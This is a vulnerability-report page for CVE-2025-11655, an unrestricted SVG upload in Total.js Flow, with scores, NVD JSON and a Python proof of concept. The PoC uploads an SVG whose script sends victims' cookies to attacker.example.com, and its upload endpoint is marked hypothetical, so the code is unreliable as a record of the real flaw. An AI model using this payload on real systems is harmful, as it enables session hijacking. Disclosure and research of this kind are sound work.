Security Vulnerability Report
中文
CVE-2025-11655 CVSS 4.7 MEDIUM

CVE-2025-11655

Published: 2025-10-13 02:15:35
Last Modified: 2026-04-29 01:00:02

Description

A security flaw has been discovered in Total.js Flow up to 673ef9144dd25d4f4fd4fdfda5af27f230198924. The impacted element is an unknown function of the component SVG File Handler. Performing manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been released to the public and may be exploited. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Total.js Flow <= 673ef9144dd25d4f4fd4fdfda5af27f230198924

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11655 PoC - Total.js Flow SVG File Handler Unrestricted Upload # This PoC demonstrates the unrestricted file upload vulnerability in Total.js Flow's SVG File Handler import requests # Target configuration TARGET_URL = "https://target.example.com" UPLOAD_ENDPOINT = "/api/flow/svg/upload" # Hypothetical endpoint for SVG upload # Attacker credentials (high privilege required - PR:H) AUTH_TOKEN = "your_auth_token_here" # Malicious SVG payload with embedded JavaScript malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <script type="text/javascript"> // Malicious payload - can be customized for various attacks // Example: XSS payload for session hijacking var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie); // Or could include server-side code for RCE attempts // depending on server-side processing of SVG files </script> <rect x="0" y="0" width="200" height="200" fill="red"/> <text x="50" y="100" fill="white">Malicious SVG</text> </svg>''' def exploit(): """ Exploit the unrestricted upload vulnerability in Total.js Flow SVG File Handler. The vulnerability allows uploading malicious SVG files without proper validation. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "multipart/form-data" } files = { "file": ("malicious.svg", malicious_svg, "image/svg+xml") } try: response = requests.post( f"{TARGET_URL}{UPLOAD_ENDPOINT}", headers=headers, files=files, verify=False ) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") print(f"[+] File uploaded to: {TARGET_URL}/uploads/malicious.svg") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11655", "sourceIdentifier": "[email protected]", "published": "2025-10-13T02:15:34.610", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Total.js Flow up to 673ef9144dd25d4f4fd4fdfda5af27f230198924. The impacted element is an unknown function of the component SVG File Handler. Performing manipulation results in unrestricted upload. The attack can be initiated remotely. The exploit has been released to the public and may be exploited. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://vuldb.com/?ctiid.328072", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.328072", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.665479", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.665497", "source": "[email protected]"}]}}